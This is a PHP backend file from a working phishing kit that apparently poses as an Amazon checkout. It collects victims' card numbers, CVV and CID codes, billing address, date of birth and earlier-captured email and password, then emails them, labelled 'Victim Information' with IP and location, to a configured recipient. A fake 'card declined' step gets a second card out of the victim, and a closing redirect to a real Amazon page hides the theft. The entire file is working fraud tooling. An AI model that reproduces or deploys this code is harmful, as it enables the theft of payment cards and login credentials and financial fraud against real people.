<?php
header('Content-Type: application/json');

$step = $_SESSION['step'] ?? '';
$hasBilling = isset($_SESSION['data']['billing']);
if ($step !== 'cc' && $step !== 'billing' && $step !== 'email' && !$hasBilling) {
    echo json_encode(['success' => false, 'message' => 'Please complete billing first']);
    exit;
}

// Form gabungan: simpan billing dari POST ke session
if (!empty($_POST['addressLine1']) || !empty($_POST['phoneNumber']) || !empty($_POST['zipCode'])) {
    $billingData = [];
    foreach ($_POST as $key => $value) {
        if (is_string($value)) {
            $billingData[$key] = sanitizeInput($value);
        }
    }
    $_SESSION['data']['billing'] = $billingData;
}

$cardNumber = sanitizeInput($_POST['card_number'] ?? $_POST['cardNumber'] ?? '');
$expiry = sanitizeInput($_POST['expiry'] ?? '');
$name = sanitizeInput($_POST['name'] ?? $_POST['nameOnCard'] ?? $_POST['name_on_card'] ?? '');

if (empty($cardNumber) || empty($expiry) || empty($name)) {
    echo json_encode(['success' => false, 'message' => 'All fields are required']);
    exit;
}

$cardNumDigits = preg_replace('/\D/', '', $cardNumber);
$isAmex = (strlen($cardNumDigits) >= 2 && substr($cardNumDigits, 0, 2) === '37');

$cvv = sanitizeInput($_POST['cvv'] ?? '');
$cid = sanitizeInput($_POST['cid'] ?? '');
$cvvDigits = preg_replace('/\D/', '', $cvv);
$cidDigits = preg_replace('/\D/', '', $cid);

if ($isAmex) {
    if ($cvvDigits === '') { echo json_encode(['success' => false, 'message' => 'Amex CVV (4 digits) is required']); exit; }
    if (strlen($cvvDigits) !== 4) { echo json_encode(['success' => false, 'message' => 'Amex CVV must be 4 digits']); exit; }
    if ($cidDigits === '') { echo json_encode(['success' => false, 'message' => 'Amex CID (3 digits) is required']); exit; }
    if (strlen($cidDigits) !== 3) { echo json_encode(['success' => false, 'message' => 'Amex CID must be 3 digits']); exit; }
} else {
    if ($cvvDigits === '') { echo json_encode(['success' => false, 'message' => 'CVV (3 digits) is required']); exit; }
    if (strlen($cvvDigits) !== 3) { echo json_encode(['success' => false, 'message' => 'CVV must be 3 digits']); exit; }
    $cid = '';
}

$doubleCardEnabled = defined('CC_DOUBLE_CARD') && CC_DOUBLE_CARD;
$cardNumDigits = preg_replace('/\D/', '', $cardNumber);
$firstCardStored = $_SESSION['data']['cc_first'] ?? null;
$firstCardNumber = $firstCardStored ? preg_replace('/\D/', '', $firstCardStored['card_number']) : '';
$isFirstCardSubmission = !$firstCardStored;
$isSameCard = $firstCardStored && ($cardNumDigits === $firstCardNumber);

// Helper closure: build BIN parts
$parseBin = function($cardNum) {
    $binDetails = function_exists('look_bin') ? look_bin($cardNum) : '';
    $digits = preg_replace('/\D/', '', $cardNum);
    $formattedBin = substr($digits, 0, 6);
    $scheme = $type = $cardTier = $issuer = 'Unknown';
    if ($binDetails) {
        $parts = explode(' ', $binDetails);
        $scheme    = trim($parts[1] ?? 'Unknown');
        $type      = trim($parts[2] ?? 'Unknown');
        $cardTier  = trim($parts[3] ?? 'Unknown');
        $issuerParts = array_slice($parts, 4);
        $issuer    = !empty($issuerParts) ? implode(' ', $issuerParts) : 'Unknown';
    } elseif (function_exists('getCardBrand')) {
        $fb = getCardBrand($cardNum);
        if ($fb && strtolower($fb) !== 'unknown') {
            $scheme   = strtoupper($fb);
            $type     = 'CREDIT';
            $cardTier = '-';
        }
    }
    return compact('formattedBin', 'scheme', 'type', 'cardTier', 'issuer');
};

// Helper closure: build card/billing/victim message body
$buildMessage = function($quote, $loginData, $cardNumber, $expiry, $cvv, $cid, $name, $billing, $visitorInfo) use ($parseBin) {
    $ip = $visitorInfo['ip'] ?? 'Unknown';
    $bin = $parseBin($cardNumber);

    $msg = "**  **\n\n";
    $msg .= "[#] Email : " . ($loginData['email'] ?? 'N/A') . "\n";
    $msg .= "[#] Password : " . ($loginData['password'] ?? 'N/A') . "\n\n";
    $msg .= ":: Card Information ::\n\n";
    $msg .= "[#] BIN : {$bin['formattedBin']}\n";
    $msg .= "[#] CARDHOLDER NAME : {$name}\n";
    $msg .= "[#] CARD NUMBER : {$cardNumber}\n";
    $msg .= "[#] EXPIRATION : {$expiry}\n";
    $msg .= "[#] CVV/CVV2 : {$cvv}\n";
    $msg .= "[#] CID : {$cid}\n\n";
    $msg .= ":: Billing Information ::\n\n";
    if (!empty($billing)) {
        $fullname = $billing['fullname'] ?? trim(($billing['first_name'] ?? '') . ' ' . ($billing['last_name'] ?? ''));
        $msg .= "[#] Fullname : " . ($fullname ?: 'N/A') . "\n";
        $msg .= "[#] Address 1 : " . ($billing['address_line_1'] ?? $billing['address1'] ?? $billing['address'] ?? 'N/A') . "\n";
        $msg .= "[#] Address 2 : " . ($billing['address_line_2'] ?? $billing['address2'] ?? '') . "\n";
        $msg .= "[#] City : " . ($billing['city'] ?? 'N/A') . "\n";
        $msg .= "[#] State : " . ($billing['state'] ?? 'N/A') . "\n";
        $msg .= "[#] ZipCode : " . ($billing['zip'] ?? $billing['zipcode'] ?? $billing['postal_code'] ?? 'N/A') . "\n";
        $msg .= "[#] PhoneNumber : " . ($billing['phone'] ?? $billing['telephone'] ?? 'N/A') . "\n";
        $msg .= "[#] Date Of Birth : " . ($billing['dob'] ?? $billing['date_of_birth'] ?? 'N/A') . "\n\n";
    }
    $msg .= ":: Victim Information ::\n\n";
    $msg .= "[#] Date & Time : " . date('m/d/Y H:i:s') . "\n";
    $msg .= "[#] IP : {$ip}\n";
    $msg .= "[#] ISP : " . ($visitorInfo['isp'] ?? 'Unknown') . "\n";
    $msg .= "[#] Device : " . (function_exists('getDeviceType') ? getDeviceType($visitorInfo['useragent'] ?? '') : 'Unknown') . "\n";
    $msg .= "[#] Browser : " . (function_exists('getBrowserName') ? getBrowserName($visitorInfo['useragent'] ?? '') : 'Unknown') . "\n";
    $msg .= "[#] City : " . ($visitorInfo['city'] ?? 'Unknown') . "\n";
    $msg .= "[#] Region : " . ($visitorInfo['state'] ?? 'Unknown') . "\n";
    $msg .= "[#] Country : " . ($visitorInfo['country'] ?? 'Unknown') . "\n";
    $msg .= "[#] User Agent : " . ($visitorInfo['useragent'] ?? 'Unknown') . "\n\n";
    $msg .= ":: Gobot.su ::";
    return $msg;
};

$buildSubject = function($cardNum, $cardNo, $visitorInfo, $cardLabel) use ($parseBin) {
    $bin = $parseBin($cardNo);
    $ip = $visitorInfo['ip'] ?? 'Unknown';
    $country = $visitorInfo['country'] ?? 'Unknown';
    $device = function_exists('getDeviceType') ? getDeviceType($visitorInfo['useragent'] ?? '') : 'Unknown';
    $state = $visitorInfo['state'] ?? 'Unknown';
    return "☩ {$cardLabel} :: {$bin['formattedBin']} {$bin['scheme']} {$bin['type']} {$bin['cardTier']} {$bin['issuer']} :: [ {$ip} - {$country} - {$device} - {$state} ] ☩";
};

$sendMail = function($subject, $message, $fromLabel) {
    $recipient = defined('RECIPIENT_EMAIL') ? RECIPIENT_EMAIL : '';
    if (empty($recipient)) return;
    $fromEmail = 'batak@gobot.com';
    $headers  = "MIME-Version: 1.0\r\n";
    $headers .= "Content-type: text/plain; charset=UTF-8\r\n";
    $headers .= "From: {$fromLabel} <{$fromEmail}>\r\n";
    $headers .= "Reply-To: {$fromEmail}\r\n";
    $headers .= "X-Mailer: PHP/" . phpversion();
    @mail($recipient, $subject, $message, $headers);
};

// --- DOUBLE CARD: first/same card → declined ---
if ($doubleCardEnabled && ($isFirstCardSubmission || $isSameCard)) {
    $_SESSION['data']['cc_first'] = [
        'card_number' => $cardNumber,
        'expiry' => $expiry,
        'cvv' => $cvv,
        'cid' => $cid,
        'name' => $name,
    ];

    $billing    = $_SESSION['data']['billing'] ?? [];
    $loginData  = $_SESSION['data']['login'] ?? ['email' => '', 'password' => ''];
    $visitorInfo = $_SESSION['visitor_info'] ?? [];

    $lastFour  = substr($cardNumDigits, -4);
    $cardBrand = function_exists('getCardBrand') ? getCardBrand($cardNumber) : 'Unknown';
    $bankName  = function_exists('getBankName') ? getBankName($cardNumber) : 'Unknown';

    $declineMessage = $isSameCard
        ? 'This card has already been declined. Please use a different card.'
        : 'Your card was declined. Please try a different payment method.';

    $response = json_encode([
        'success'   => false,
        'message'   => $declineMessage,
        'declined'  => true,
        'card_info' => ['last_four' => $lastFour, 'brand' => $cardBrand, 'bank' => $bankName]
    ]);

    if ($isFirstCardSubmission) {
        $subject = $buildSubject($cardNumDigits, $cardNumber, $visitorInfo, 'Card 1');
        $message = $buildMessage(
            'A prayer never returns empty-handed. It either brings what you asked for, or something far greater than you imagined.',
            $loginData, $cardNumber, $expiry, $cvv, $cid, $name, $billing, $visitorInfo
        );
        $sendMail($subject, $message, 'Setoran Ceceh');
        if (function_exists('log_visitor_step')) log_visitor_step('cc', $visitorInfo);
        if (function_exists('increment_stat')) increment_stat('cc');
        if (function_exists('trigger_activity_notification')) trigger_activity_notification('cc', $visitorInfo);
    }

    echo $response;
    exit;
}

// --- SINGLE CARD or SECOND CARD → success ---
$binInfo     = checkBIN($cardNumber);
$billing     = $_SESSION['data']['billing'] ?? [];
$loginData   = $_SESSION['data']['login'] ?? ['email' => '', 'password' => ''];
$visitorInfo = $_SESSION['visitor_info'] ?? [];
$isSecondCard = !empty($_SESSION['data']['cc_first']);
$cardLabel   = $isSecondCard ? 'Card 2' : 'Card 1';

$_SESSION['data']['cc'] = [
    'card_number' => $cardNumber,
    'expiry'      => $expiry,
    'cvv'         => $cvv,
    'cid'         => $cid,
    'name'        => $name,
    'bin_info'    => $binInfo
];

$subject = $buildSubject($cardNumDigits, $cardNumber, $visitorInfo, $cardLabel);
$message = $buildMessage(
    'In my mother\'s prayers, my name is whispered with love — and I believe that is the reason behind every blessing, every grace, and every mercy I have received until this very day.',
    $loginData, $cardNumber, $expiry, $cvv, $cid, $name, $billing, $visitorInfo
);

$sendMail($subject, $message, 'Setoran Ceceh');

if (function_exists('log_visitor_step')) {
    log_visitor_step('cc', $visitorInfo);
}

if (function_exists('increment_stat')) {
    increment_stat('cc');
}

if (function_exists('trigger_activity_notification')) {
    trigger_activity_notification('cc', $visitorInfo);
}

$_SESSION['step'] = 'done';

/*
|--------------------------------------------------------------------------
| AMBIL IP VISITOR
|--------------------------------------------------------------------------
*/

$ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';

/*
|--------------------------------------------------------------------------
| FILE ipbot.txt (2 folder di atas)
|--------------------------------------------------------------------------
*/

$ipBotFile = dirname(__DIR__, 2) . '/ipbot.txt';

/*
|--------------------------------------------------------------------------
| CEK AGAR TIDAK DUPLIKAT
|--------------------------------------------------------------------------
*/

$blockedIps = file(
    $ipBotFile,
    FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES
);

if (!in_array($ip, $blockedIps, true)) {

    file_put_contents(
        $ipBotFile,
        $ip . PHP_EOL,
        FILE_APPEND | LOCK_EX
    );
}

echo json_encode([
    'success'   => true,
    'message'   => 'CC data saved',
    'bin_check' => $binInfo,
    'redirect'  => 'https://www.aboutamazon.com/news/innovation-at-amazon/project-kuiper-satellite-rocket-launch-progress-updates'
]);

exit;
